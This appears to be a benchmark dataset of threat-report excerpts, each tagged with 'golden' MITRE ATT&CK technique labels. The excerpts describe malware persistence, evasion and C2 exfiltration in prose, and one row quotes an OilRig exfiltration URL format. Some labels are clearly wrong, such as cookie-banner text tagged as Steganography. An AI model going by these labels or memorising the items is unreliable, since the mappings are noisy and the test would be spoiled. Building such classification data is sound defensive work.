"The attackers installed a backdoor macro in Microsoft Outlook that enabled them to execute commands, deploy their tools and steal valuable data from the compromised machines",['T1137 - Office Application Startup'],golden
The actor has used a clever method to bypass security mechanisms in which it has embedded its malicious HTA file as a compressed zlib file within a PNG file that then has been decompressed during run time by converting itself to the BMP format. The second stage payload has the capability to receive and execute commands/shellcode as well as perform exfiltration and communications to a command and control server,['T1027.003 - Steganography'],golden
"Next, it performs a massive printf loop - the first stage. Since before the loop FreeConsole has been called all printf calls do basically nothing: This code has been directly copied from the documentation of printf: So what is the purpose of those numerous printf loops. As a result, the massive amount of calls delay the execution process and overload the sandbox with junk data. This behavior is called API Hammering. API Hammering is not a new technique, we have already seen it several years ago e.g. Joe Sandbox detects the API hammering successfully and rates it as malicious: Right after the printf flood, the sample performs another loop to delay execution by creating and writing to a temporary file - the second stage. In between it performs random sleeps: Again, the purpose is to overload the sandbox and delay the execution",['T1497.003 - Time Based Evasion'],golden
"If it believes it’s found a Windows server, Xbash will exploit the Redis vulnerability to create a Windows startup item (as shown in Figure 6), instead of a Linux cronjob","['T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1105 - Ingress Tool Transfer', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
The binary used the same string obfuscation technique - - Malicious document VBA code similarities with what’s shown in the screenshots - Digital signature signer name EGIS CO. in the dropped file,"['T1553.002 - Code Signing', 'T1027 - Obfuscated Files or Information']",golden
"Remcom: An open-source alternative to PsExec, which is a Microsoft Sysinternals tool used for executing processes on other systems. Non-sucking Service Manager (NSSM): An open-source alternative to the Windows Service Manager which can be used to install and remove services and will restart services if they crash. A custom screenshot and clipboard capture tool. SMB hacking tools: Used in conjunction with other tools to traverse target networks. UltraVNC: An open-source remote administration tool for Microsoft Windows. NBTScan: A free tool for scanning IP networks for NetBIOS name information","['T1018 - Remote System Discovery', 'T1569.002 - System Services: Service Execution']",golden
Killkill: Stops the backdoor’s activities - interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds - cmd: Executes shell commands - exe:Reflectively injects a DLL downloaded from a specific URL,['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"Our findings indicate the actor attempted to blame multiple parties, including both Poland and Ukrainians themselves, despite the fact that technical indicators surrounding the attack do not support these false narratives. It was the Polish translation that was the first indicator since it was quickly discovered to just be a translation of the message in Russian using the popular platform yandex.ru's translation capabilities. SSSCIP has also made a connection between WhisperKill, a component of the WhisperGate malware that was deployed on Ukrainian systems, and the Encrypt3d ransomware, also known as WhiteBlackCrypt. WhiteBlackCrypt was reportedly used in operations against Russian targets in 2021",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"BIFROSE, known for evading detection by communicating with its C&amp;C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices. KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain. KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs. A 64-bit version of KIVARS also emerged to keep pace with the popularity of 64-bit systems. XBOW’s capabilities are derived from BIFROSE and KIVARS; Shrouded Crossbow gets its name from its unique mutex format","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1105 - Ingress Tool Transfer', 'T1083 - File and Directory Discovery', 'T1021 - Remote Services', 'T1564.003 - Hide Artifacts: Hidden Window']",golden
"Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings",['T1082 - System Information Discovery'],golden
"Below, we can see the malicious file ""untitled.exe"" using ""cmd.exe"" to execute the vssadmin.exe utility. It attempts to delete default Windows backup mechanisms, otherwise known as ""shadow copies,"" to prevent recovery of the original files from these backups. The ransom note, in this case, directs victims to either a .onion website on the Tor network or on the public web at the domain decryptor[.]top, registered on March 31 this year. With Sodinokibi, each encrypted system sees a distinct encrypted file extension. The ransom note filename also includes this extension as a prefix (ex",['T1486 - Data Encrypted for Impact'],golden
"The malware calls Windows functions in a unique way to aid obfuscation, i.e. When the function ends, Windows makes a “ret” opcode then gets the last memory address that the malware pushed inside the stack, returning to this address and continuing the flow",['T1106 - Native API'],golden
"Advanced malware is becoming more evasive to avoid being detected by analysis sandboxes. Darkhotel uses a huge arsenal of system fingerprints, trying to determine whether it is running inside an analysis environment, and it avoids revealing its malicious behavior if a sandbox is detected. To avoid leaking details about the fingerprints it uses to identify sandboxes, Darkhotel uses just-in-time decryption as well as hashing of strings",['T1497 - Virtualization/Sandbox Evasion'],golden
"In one version of the malware, the code checks if the “ProgramData” folder has folders or files with the keywords “Kasper“, “Panda“, or “ESET","['T1082 - System Information Discovery', 'T1083 - File and Directory Discovery']",golden
"Our colleagues from the IssueMakersLab team shared insights and information about the Andariel group, including that they attacked ActiveX vulnerabilities as far back as 2007. The team monitoring Andariel found that the cybercriminal group injected a malicious script on a South Korean think tank website for reconnaissance in January 2017 and then switched to inject an ActiveX zero-day exploit in mid-April. IssueMakersLab also listed the ActiveX objects that the Andariel group attacked",['T1203 - Exploitation for Client Execution'],golden
"Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. In observed instances the DLL is downloaded to C:\windows\system32\drivers\, renamed with a .sys extension, and then executed by rundll32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script",['T1218.005 - Signed Binary Proxy Execution: Mshta'],golden
"Since February 2018, Emotet has been used to spread W32.Qakbot, a family of banking Trojans known for behaving like network worms",['T1210 - Exploitation of Remote Services'],golden
"One of the most notable functions of the initial dropper is to bypass Windows UAC (User Account Control) in order to execute the next payload with higher privileges. Afterwards, the installer malware creates a downloader and a configuration file from its resource and executes it. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted",['T1082 - System Information Discovery'],golden
"We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. Expiry: SessionType: HTTPMarketo2Learn more about this provider__cf_bmThis cookie is used to distinguish between humans and bots. Expiry: 2 yearsType: HTTP25 Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers. This can be used for marketing purposes. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email",['T1027.003 - Steganography'],golden
"Close analysis of the delivered payloads and legitimate resources retrieved from URLs by the first stage malware dropper reveals that TA416 is once again using an updated version of PlugX malware to target their victims. Historically, the group has relied on a variety of legitimate antivirus files, including the Avast file resource wsc_proxy.exe, to begin the process of DLL search order hijacking that results in PlugX malware installation. This is a legitimate executable file that is part of the publicly available media player Daum PotPlayer 1.5.29825, which Mandiant has previously documented as being susceptible to search order hijacking since at least 2016. The file DocConvDll.dll has also intermittently been used as a loader of the PlugX DAT configuration files. For those that are familiar with TA416’s historic tactics, techniques, and procedures (TTPs), this is highly similar to the Trident Loader method which the group used to install PlugX in previous campaigns",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
The task file and its config are decrypted (CAST-128) and the task executed. There are some options that are retrieved from the Carbon configuration file: “time2task” is used to set a timeout for the task execution (1 hour by default) while “task_min” and “task_max” are used as to wait a random time between the execution of the tasks on the task list (the random time will be set between “task_min” and “task_max”). These parameters come from the section [TIME,['T1140 - Deobfuscate/Decode Files or Information'],golden
"Network Reconnaissance – gathering information from machines on the network. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. PowerShell - a powerful interactive command-line interface and scripting environment included in the Windows operating system. It can be used to find information and execute code, and is frequently abused by malicious actors",['T1047 - Windows Management Instrumentation'],golden
"The second main binary is a removable-drive monitor that searches for files that have an interesting extension (.pdf, .rtf, .doc, .docx). It then stages the files in an encrypted archive","['T1119 - Automated Collection', 'T1025 - Data from Removable Media']",golden
The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts,['T1572 - Protocol Tunneling'],golden
"Both backdoors target Arabic-speaking users. They use code that checks if the compromised machine has the Arabic language installed. This way, the attacker avoids systems belonging to non-relevant individuals as well as most sandboxes, Cybereason researchers note",['T1082 - System Information Discovery'],golden
"While it has been well known and utilized heavily by system administrators since its inception, WMI became popular in the security community when it was found to be used by Stuxnet3. Since then, WMI has been gaining popularity amongst attackers for its ability to perform system reconnaissance, anti-virus and virtual machine (VM) detection, code execution, lateral movement, persistence, and data theft. As attackers increasingly utilize WMI, it is important for defenders, incident responders, and forensic analysts to have knowledge of WMI and to know how they can wield it to their advantage",['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],golden
"Once the malware has persisted itself, it then checks whether there’s any existing stratum mining information stored in the following registry key value",['T1012 - Query Registry'],golden
"Turla has been around for many years as a state-sponsored actor and will likely not go away soon. Adversaries like Turla often use sophisticated malware, but they also often use what is good enough to fly under the radar. Talos has monitored many noisy Turla operations, for example. During their campaigns, they are often using and re-using compromised servers for their operations, which they access via SSH, often protected by TOR. One public reason why we attributed this backdoor to Turla is the fact that they used the same infrastructure as they used for other attacks that have been clearly attributed to their Penguin Turla Infrastructure. We will continue to monitor Turla and the other state-sponsored actors to protect our customers against these attacks. It isn't unlikely that the adversaries will manage to bypass one or the other security measures, but it is much harder for them to bypass all of them. These campaigns and the refinement of the TTPs being used will likely continue for the foreseeable future",['T1106 - Native API'],golden
The first thread enumerates all processes of the system and creates the name of the process in upper case and calculates a hash with the name and compares it with a big list of hashes. It is typical in malware that tries to hide what processes they are looking for. If it finds one of them it will terminate it with “TerminateProcess” function after opening with the rights to make this action with “OpenProcess” function,['T1057 - Process Discovery'],golden
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1560.001 - Archive Collected Data: Archive via Utility'],golden
"In this campaign, the threat actor also uses “init” and “systemd” services for persistence. The name of the service is “netdns. Below is a snippet from the setup script used by Rocke in a previous campaign that also uses the serviced called netdns",['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],golden
"This binary has two main features. If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. The second main feature is the service. This service has two features. This event is the mechanism used by the C2 contact module to alert the service executable to perform the cleaning of all components",['T1543.003 - Create or Modify System Process: Windows Service'],golden
"Cofense Intelligence recently observed an email campaign delivering Revenge RAT that exhibited above- average sophistication in its delivery technique and persistence mechanisms. In this campaign, threat actors used redundant command and control infrastructure disguised as legitimate content to deliver a sample of Revenge RAT without leaving files on disk",['T1102.002 - Bidirectional Communication'],golden
The code of the Defender.sct file is an obfuscated JavaScript. The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line,['T1059.007 - Command and Scripting Interpreter: JavaScript'],golden
The WellMess malware stores the C2 IP addresses it uses in the binary as a plaintext url. The format of the C2 url string for the example in Figure 3 would be one of,['T1016 - System Network Configuration Discovery'],golden
"newtask”- Execute arbitrary code on the local machine, download and execute a file from any remote server, kill or uninstall the program and sends updated fingerprint data",['T1105 - Ingress Tool Transfer'],golden
"This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes. To benefit from the ppid command, your session must have rights to access the parent process. Beacon’s runu command runs an arbitrary command as a child of another parent. These commands offer means to spawn a payload, in another desktop session, without remote process injection. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows",['T1078.002 - Domain Accounts'],golden
"C2 Communication Malware C2 servers are stored hardcoded in binary and cannot be changed by operators dynamically, unless the malware’s executable binary is updated. In our binary, there are three hardcoded HTTPS URLs used for C2 communication. These C2 servers’ addresses were not seen in previous versions",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
All the stages’ executables are created as chains to avoid detection and protect the C2 server,"['T1027 - Obfuscated Files or Information', 'T1105 - Ingress Tool Transfer', 'T1560.001 - Archive Collected Data: Archive via Utility']",golden
"VERMIN collects all keystrokes and clipboard data and encrypts the data before storing it in the following folder: %appdata%\Microsoft\Proof\Settings. ED7BA470-8E54-465E-825C-99712043E01C}\Profiles\. Each file is saved with the following format: ""{0:dd-MM-yyyy}.txt"". The data is encrypted using the same method and 3-DES key, used to encrypt the configuration file. Vermin supports the following commands","['T1115 - Clipboard Data', 'T1560 - Archive Collected Data', 'T1119 - Automated Collection']",golden
"Early in March 2019, a new macOS malware sample from the OceanLotus group was uploaded to VirusTotal, a popular online multi-scanner service. This backdoor executable bears the same features as the previous macOS variant we looked at, but its structure has changed and its detection was made harder","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",golden
"In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit. The command CollectSystemDescription retrieves the following information",['T1083 - File and Directory Discovery'],golden
"Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts. Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below. This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor.APT.CookieCutter, being delivered to the victim’s system",['T1204.001 - Malicious Link'],golden
"WE VALUE YOUR PRIVACY This site uses cookies and related technologies, as described in our privacy policy, for purposes that may include site operation, analytics, enhanced user experience, or advertising. You may choose to consent to our use of these technologies, or manage your own preferences",['T1087.001 - Account Discovery: Local Account'],golden
"Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account &lt;user sftp&gt; acquired during previous credential theft activities. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account. Log in to O365 as a user with privileged access to cloud resources","['T1078.003 - Valid Accounts: Local Accounts', 'T1133 - External Remote Services']",golden
"They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools",['T1546.012 - Event Triggered Execution: Image File Execution Options Injection'],golden
"In a newly-identified campaign, FIN7 modified their phishing techniques to implement unique infection and persistence mechanisms. FIN7 has moved away from weaponized Microsoft Office macros in order to evade detection. This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim",['T1218.005 - Signed Binary Proxy Execution: Mshta'],golden
"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub. The malware was a python-based implant using Dropbox for command and control. It would allow the attacker to upload and download files as well as execute arbitrary commands. Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection",['T1566.002 - Phishing: Spearphishing Link'],golden
Blue Mockingbird is the name we’ve given to a cluster of similar activity we’ve observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest Blue Mockingbird tools we’ve observed were created in December 2019,"['T1543.003 - Create or Modify System Process: Windows Service', 'T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription', 'T1496 - Resource Hijacking']",golden
"As before, the malware uses a combination of RSA, RC4 encryption, and HTTPS to communicate with the C&amp;C. An encrypted packet has the following structure: 4-byte CRC, followed by RSA_BLOB. After decrypting RSA (request packets cannot be decrypted without the C&amp;C private key), we get a GZIP packet",['T1071.001 - Application Layer Protocol: Web Protocols'],golden
"Collects information about the infected system, network, drives, and installed applications. Saves the collected information to a file named “info” in “%appdata%\Micorosoft\Templates” and sends it to the C2. Executes the KGH installer",['T1518 - Software Discovery'],golden
"BlackTech is a threat group known primarily for conducting cyber espionage operations against targets in East Asia, with a focus on Taiwan and Japan. The group has likely been active for a number of years and is responsible for several separate campaigns leveraging overlapping infrastructure. BlackTech often abuses legitimate software tools and processes to achieve its goals, using stolen digital certificates and API hooking among other techniques",['T1106 - Native API'],golden
"This type of threat leverages a technique called reflective dynamic-link library (DLL) injection, also referred to as reflective DLL loading. The technique allows the injection of a DLL from memory rather than from disk. This technique is stealthier than regular DLL injection because aside from not needing the actual DLL file on disk, it also does not need any windows loader for it to be injected. Recently, we have witnessed threat actors using this technique to deploy ColdLock ransomware. Now, we have seen the same attack using a filelessly executed Netwalker ransomware",['T1106 - Native API'],golden
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. The VBS script will also add two important registry keys for persistence. The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\winrm.vbs. This registry modification will effectively invoke the malicious VBS script any time a program or script references “Scripting.Dictionary” COM programs during their execution. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. Once successful, the macro invokes %ProgramData%\winrm.vbs again using explorer.exe, which in turn will execute the PowerShell snippet that connects to the C2 server and which we named LitePower Stager",['T1012 - Query Registry'],golden
"The payload decodes the response for an answer to the TXT query with base64 and decrypts using the same AES cipher and key as the request. The payload attempts to parse the decrypted cleartext using the regular expression “[^,]+” to get the command value and the command arguments that are split with a comma. The payload then checks the command value using a command handler that has the ability to execute commands and upload and download files, as seen in Table 1",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"The payload initiates a communication with the C&amp;C server to exfiltrate the stolen data and receive commands. Besides the stolen data, it sends the Windows product name and version, username, computer name, and domain name to the C&amp;C server",['T1041 - Exfiltration Over C2 Channel'],golden
"The custom loader DLLs dropped on disk carried compile timestamps ranging from July 2020 to October 2020, while the embedded Reflective DLLs carried compile timestamps ranging from March 2016 to November 2017. The presence of 2016-2017 compile timestamps is likely due to attackers’ usage of custom Malleable C2 profiles with synthetic compile timestamp (compile_time) values. libintl3.dll), and other legitimate applications. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e. the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp",['T1070.006 - Indicator Removal on Host: Timestomp'],golden
Persistence is ensured by creating a .LNK file in the Windows startup directory. Of importance is the fact that Grandoreiro uses the same algorithm for decrypting its internal strings as Casbaneiro,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Endpoint Protection . The Shamoon Attacks . W32.Disttrack is a new threat that is being used in specific targeted attacks against at least one organization in the energy sector. It is a destructive malware that corrupts files on a compromised computer and overwrites the MBR (Master Boot Record) in an effort to render a computer unusable. The driver is used to overwrite the computer’s MBR but may be used for legitimate purposes. The file is digitally signed - %System%\drivers\drdisk.sys - The device driver is a clean disk driver that enables user-mode applications to read and write to disk sectors. The driver is used to overwrite the computer’s MBR but may be used for legitimate purposes. The file is digitally signed - Executes the following commands that collect file names, which will be overwritten and writes them to f1.inf and f2.inf: - Files from the f1.inf and f2.inf will be overwritten with the JPEG image shown below. Overwritten files are thus rendered useless",['T1485 - Data Destruction'],golden
"Ecipekac uses a new, complicated loading schema: it uses the four files listed below to load and decrypt four fileless loader modules one after the other to eventually load the final payload in memory",['T1140 - Deobfuscate/Decode Files or Information'],golden
An attacker who had already achieved remote code execution (RCE) could exploit this vulnerability to elevate privileges. They then downloaded and ran a CVE-2016-0167 exploit to run subsequent code as SYSTEM,['T1105 - Ingress Tool Transfer'],golden
"While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""File Uploaded"")&gt; The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message &lt; File Not Found &gt; by sending the following URL: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""&lt; File Not Found &gt;"")&gt; If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. hex(Environment.UserName/Environment.MachineName)&gt;ABZFinish Overlaps with Previous OilRig Group Attacks Since May 2016, we have continued to monitor and uncover various attacks and tools associated with the OilRig group. However, as we continued to follow the trail of evidence, we found immediate links to past attacks and common artifacts from the OilRig group. This group has repeatedly shown evidence of a willingness to adapt and evolve their tactics, while also reusing certain aspects as well. 2) AutoFocus customers can track these tools with the ThreeDollars and OopsIE 3) Traps blocks the ThreeDollars delivery documents and the OopsIE payload",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
Obtain the size of the payload and encrypt that value using the same RC4 algorithm as in step 2. The size of the payload should be the total decrypted size of the payload,['T1027 - Obfuscated Files or Information'],golden
"Last January, we started investigating an ongoing campaign launched by Transparent Tribe to distribute the Crimson malware. The attacks started with malicious Microsoft Office documents, which were sent to victims using spear-phishing emails","['T1204.002 - User Execution: Malicious File', 'T1566.001 - Phishing: Spearphishing Attachment']",golden
The DNS communication protocol is significantly different to the previous two modes. Data is sent to the C2 by DNS tunnelling. This involves prepending encoded data as a sub domain to a threat actor-controlled domain and then using DNS requests to transmit this data to the C2 with other DNS resolution services forwarding on the message,['T1071.004 - Application Layer Protocol: DNS'],golden
"There are several unnecessary jumps for control flow obfuscation, including simple opaque predicates leading to junk code. The obfuscation method is a simple one-byte XOR with the same hardcoded value for every piece",['T1027 - Obfuscated Files or Information'],golden
"One of the changes mentioned was that now, any Get-Domain* function uses LDAP enumeration, meaning that we can pull said information from a domain that trusts us. This is done with the -Domain &lt;domain.fqdn&gt; parameter",['T1482 - Domain Trust Discovery'],golden
"Once encrypted, the system information is sent in the body of an HTTP POST. Figure 14 shows data sent over the network with the POST request",['T1041 - Exfiltration Over C2 Channel'],golden
"The name Psylo is an anagram from the mutex created when initially running this payload, which is 'hnxlopsyxt","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1105 - Ingress Tool Transfer']",golden
"The primary difference between Sample 2 and this sample is the file name used by the payload. The prior version used the name SafeApp.exe and installed the binary into %AppData% and added a Windows auto run registry entry against that file. Sample 3 does the same thing but makes the file name NeutralApp.exe. This is notable, because the malware checks for a copy of itself, and the name is static making it simple to identify infection. Due to the name change, the newer version runs even if SafeApp.exe is currently running on the victim machine",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"The choice of terminology in URL paths and file names when delivering BackConfig malware in this, and other campaigns discussed later on, is clearly to blend in as benign operations, paths and filenames. Although spelled differently, it could be easy to believe the payload relates to the DHCP networking service",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
Valak C2 over HTTP traffic returning ASCII data used to create malware items on the victim host,['T1041 - Exfiltration Over C2 Channel'],golden
"Figure 9 suggests that this file was submitted to VirusTotal as “jesus.exe”, which is the name of the file in the downloaded zip, before it’s being renamed in the MSI payload",['T1105 - Ingress Tool Transfer'],golden
Turla has developed a whole set of backdoors relying on the RPC protocol. These backdoors are used to perform lateral movement and take control of other machines in the local network without relying on an external C&amp;C server,"['T1090 - Proxy', 'T1570 - Lateral Tool Transfer', 'T1049 - System Network Connections Discovery']",golden
"Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],golden
"In the Sakula samples where the install process performed cleanup, the malware invoked cmd.exe. This process was instantiated by first performing a ping request to localhost to ensure the install process completed before the temporary file was deleted",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"CTU researchers have observed TG-3390 actors staging RAR archives, renamed with a .zip file extension, on externally accessible web servers. The adversaries then issue HTTP GET requests, sometimes with the User-Agent MINIXL, to exfiltrate the archive parts from the victim's network (see Figure 16",['T1030 - Data Transfer Size Limits'],golden
"Once the library is called by one of the triggering events implemented in its code, it reads a configuration file from a shared Google Document",['T1102.001 - Dead Drop Resolver'],golden
"AQUATIC PANDA is a China-based targeted intrusion adversary with a dual mission of intelligence collection and industrial espionage. It has likely operated since at least May 2020. AQUATIC PANDA operations have primarily focused on entities in the telecommunications, technology and government sectors. AQUATIC PANDA relies heavily on Cobalt Strike, and its toolset includes the unique Cobalt Strike downloader tracked as FishMaster. AQUATIC PANDA has also been observed delivering njRAT payloads to targets","['T1105 - Ingress Tool Transfer', 'T1588.001 - Malware', 'T1588.002 - Tool']",golden
"This batch file is responsible for deleting the original sample executable. It queries and stores the current cursor position several times to detect activity and identify if it is being executed in a sandbox or automated analysis environment. These measures are all designed to impede the analysis process and make it more expensive to identify what the malware is actually designed to do from a code execution flow perspective. Below the EAX register is stored in a variable to be reused later in order to allocate a heap memory chunk to initiate its own unpacked code. The malware also uses others techniques to make analysis significantly more difficult, like creating hundreds of case comparisons, which makes tracing code much harder. Below an example of several if conditional statements in pseudo code demonstrating this process and how it can result in impeding the ability to efficiently trace the code. In order to decrypt the malware code it's installs an exception handler, which is responsible for decrypting some memory bytes to continue it's execution. During this execution, the malware will then continue to patch itself and continue execution. The strings are encrypted using an XOR value, however each string uses a separate XOR value preventing an easy detection mechanism. Below is some IDA Python code which can be used to decrypt strings",['T1140 - Deobfuscate/Decode Files or Information'],golden
"The actors behind the previous FormBook campaign used CVE-2017-0199 — a remote code execution vulnerability in multiple versions of Microsoft Office — to download and open an RTF document from inside a malicious DOCX file. We have also observed newer campaigns being used to distribute Agent Tesla and Loki that are leveraging CVE-2017-11882. An example of one of the malware distribution URLs is in the screenshot below. Many users have the assumption that modern Microsoft Word documents are less dangerous than RTF or DOC files. While this is partially true, attackers can still find ways with these newer file formats to exploit various vulnerabilities",['T1105 - Ingress Tool Transfer'],golden
The malware communicates with its C&amp;C server via TCP over the 5200 port. The packets’ payload is encrypted with RC4 using the password “warzone160\x00” (the final null terminator is used as a part of the encryption key,['T1573.001 - Symmetric Cryptography'],golden
"The ‘showBackupIosFolder’ command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad. We believe this command is used to determine if a mobile device was backed up, and we speculate that the actors would use other commands within XAgent to exfiltrate those files","['T1083 - File and Directory Discovery', 'T1083 - File and Directory Discovery']",golden
"FIN6 conducted internal reconnaissance with a Windows batch file leveraging Adfind to query Active Directory, then 7-zip to compress the results for exfiltration","['T1018 - Remote System Discovery', 'T1069 - Permission Groups Discovery']",golden
"Online"" in this case refers to the attacker using the protocol of the targeted network service to quickly run through many password guesses",['T1114.002 - Email Collection: Remote Email Collection'],golden
"Finally, the script contents of blog-page[.]html schedule the same task (“MSOFFICEER”) to run itself. Revenge RAT used in this instance is not dropped to disk but is instead loaded into the memory of a process using the “Reflection.Assembly” PowerShell command. A similar method is used to execute the script content of the command and control locations rather than dropping the scripts to disk and then running them. By scheduling tasks to run scripts and binaries in memory rather than on disk, the threat actors are able to avoid some traditional means of detection","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
